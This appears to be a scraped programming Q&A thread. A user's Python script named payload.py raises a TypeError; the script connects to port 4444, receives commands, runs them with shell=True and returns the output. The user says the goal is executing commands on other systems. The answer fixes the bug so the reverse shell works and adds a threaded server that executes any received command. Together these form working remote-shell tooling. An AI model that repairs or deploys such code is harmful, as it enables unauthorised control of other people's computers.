Home > Mobile >  TypeError: 'socket' object is not iterable
TypeError: 'socket' object is not iterable

Time:10-04

I was trying to make a program that executes system commands on other systems. Getting this error when I give commands to execute on the terminal.

import socket
import subprocess
payload = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
payload.connect(("localhost",4444))
print("Successfully, Connected..!!")

while True:
    cmd = payload.recv(2048)
    if cmd == 'exit':
        payload.close()
        break
    cmd = cmd.decode('utf-8')
    output = subprocess.check_output(payload, shell=True)
    payload.send(output)

the output is this

Traceback (most recent call last):
  File "C:\Users\Wasii\Desktop\python-payload\payload.py", line 13, in <module>
    output = subprocess.check_output(payload, shell=True)
  File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 420, in check_output
    return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,
  File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 501, in run
    with Popen(*popenargs, **kwargs) as process:
  File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 966, in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
  File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 1375, in _execute_child
    args = list2cmdline(args)
  File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 561, in list2cmdline
    for arg in map(os.fsdecode, seq):
TypeError: 'socket' object is not iterable

CodePudding user response:

You nned to be passing cmd to subprocess.check_output, not payload.

This is how I would code the server in order to handle multiple concurrent clients:

import socketserver
import subprocess

HOST = '127.0.0.1'
PORT = 4444

class MyHandler(socketserver.StreamRequestHandler):
    def handle(self):
        while True:
            cmd = self.request.recv(2048).strip() # get rid of trailing newline if present:
            cmd = cmd.decode('utf-8')
            if cmd == 'exit':
                break
            output = subprocess.check_output(cmd, shell=True)
            self.request.sendall(output)

try:
    with socketserver.ThreadingTCPServer((HOST, PORT), MyHandler) as server:
        print('Hit CTRL-C to terminate...')
        server.serve_forever()
except KeyboardInterrupt:
    print('Terminating.')
  • Related